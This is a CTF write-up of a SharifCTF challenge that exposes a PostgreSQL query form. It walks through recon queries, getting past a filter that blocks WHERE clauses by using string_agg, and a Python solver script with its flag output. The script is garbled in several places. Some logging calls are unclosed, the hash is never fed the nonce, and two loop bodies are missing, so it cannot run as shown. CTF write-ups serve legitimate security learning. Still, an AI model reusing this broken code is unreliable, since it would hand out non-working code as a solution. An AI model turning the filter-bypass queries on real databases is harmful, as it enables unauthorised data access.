• Category: pwn
  • Points: 150
  • Description:

Our website http://ctf.sharif.edu:36455/chal/sql/ executes your PostgreSQL queries. And flags are nicely formatted.


We were presented with a simple form for a SQL query string and were given a proof of work challenge. Apparently we can execute arbitrary SQL queries if we can compute the proof of work. As it turns out there wasn’t more to do than this. I really don’t know why this was categorized as pwn, because it really is a web challenge.

Step 1 was to copy-paste proof of work code from a past CTF. We can then submit arbitrary queries and are only restricted by the permissions of the database user. The organizers were so nice and told us it is PostgreSQL. So first some recon queries:

sql> select version()
PostgreSQL 9.4.5 on x86_64-unknown-linux-gnu, compiled by gcc (Ubuntu 4.9.2-10ubuntu13) 4.9.2, 64-bit

sql> SELECT current_database()

sql> select * from information_schema.tables
sql_limit_ctf_question | pg_catalog | pg_type  | BASE TABLE |||| YES | NO |
sql_limit_ctf_question | public     | messages | BASE TABLE |||| YES | NO |
sql_limit_ctf_question | public     | mydata   | BASE TABLE |||| YES | NO |

sql> select count(*) from mydata

sql> select count(*) from messages

sql> select count( distinct msg) from messages

sql> select * from messages

We only receive the first 3 rows from the output. And messages seems to be filled with some random garbage. The description mentioned that the flag is nicely formatted. So maybe one of the messages contains the flag.

sql> select * from messages where msg like 'Sharif%'
Search is not allowed.

So apparently our current database user isn’t allowed to put where into queries. That makes it kind of hard to retrieve the messages. We could fetch all the rows, three at a time with

select * from messages limit 3 offset X

But this would take ages, because we have to compute the proof of work. So there has to be another way. After a little bit of googling I found the interesting function: string_agag. This function allows us to concatenate all fields from a query into a single string. With the following query we can fetch all messages, separated by a , .

select string_agg(msg, ', ') from messages

Now it was just a matter of search for the flag and it turns out we got lucky :) We used the following python script to compute the proof of work, send queries and fetch the flag:

import requests
import re
import os
import hashlib
import sys
from pwn import log

URL = "http://ctf.sharif.edu:36455/chal/sql/"
NONCERE = re.compile("Nonce: ([a-zA-Z0-9]+) ")
FLAGRE = re.compile("[sS]harif[cC][tT][fF]{.+}")

def proof_of_work(chal, rlen=30, forbidden_chars="", hashfunc=hashlib.sha1):
    i = 0
    maxiter = 2 ** 28
    while i < maxiter:
        i += 1
        s = os.urandom(rlen)
        for c in forbidden_chars:
            s = s.replace(c, "")
        h = hashfunc()
        digest = h.hexdigest()
        if digest.startswith("00000"):
            log.info("found proof of work after {} iterations"
            return s
    log.critical("couldn't find matching proof of work after {} iterations"
    return None

def run_query(query):
    log.info("Running query:\n{}".format(repr(query)))
    s = requests.session()
    resp = s.get(URL)
    m = NONCERE.search(resp.text)
    if not m:
        raise Exception("No nonce found in response!")
    nonce = m.groups()[0]
    log.info("got nonce '{}', computing proof of work".format(nonce))
    pofw = proof_of_work(nonce)
    if not pofw:
        return None
    resp = s.post(URL, data={"pow": pofw, "sql": query})
    return resp.text

if __name__ == "__main__":
    #r = run_query("SELECT version()")
    #log.info("received:\n" + str(r))
    if len(sys.argv) > 1:
        for i, q in enumerate(sys.argv[1:]):
            r = run_query(q)
            log.info("received:\n" + str(r))
            if r:
                fname = "output{}.html".format(i)
                log.info("Writing response to " + fname)
                with open(fname, "w") as f:

    log.info("Now fetching flag:")
    res = run_query("select string_agg(msg, ', ') from messages")
    for flagcandidate in FLAGRE.findall(res):

Running the script:

[*] Now fetching flag:
[*] Running query:
    "select string_agg(msg, ', ') from messages"
[*] got nonce 'c41bcb2185', computing proof of work
[*] found proof of work after 354166 iterations
[*] SharifCTF{f1c16ea7b34877811e4662101b6a0d30}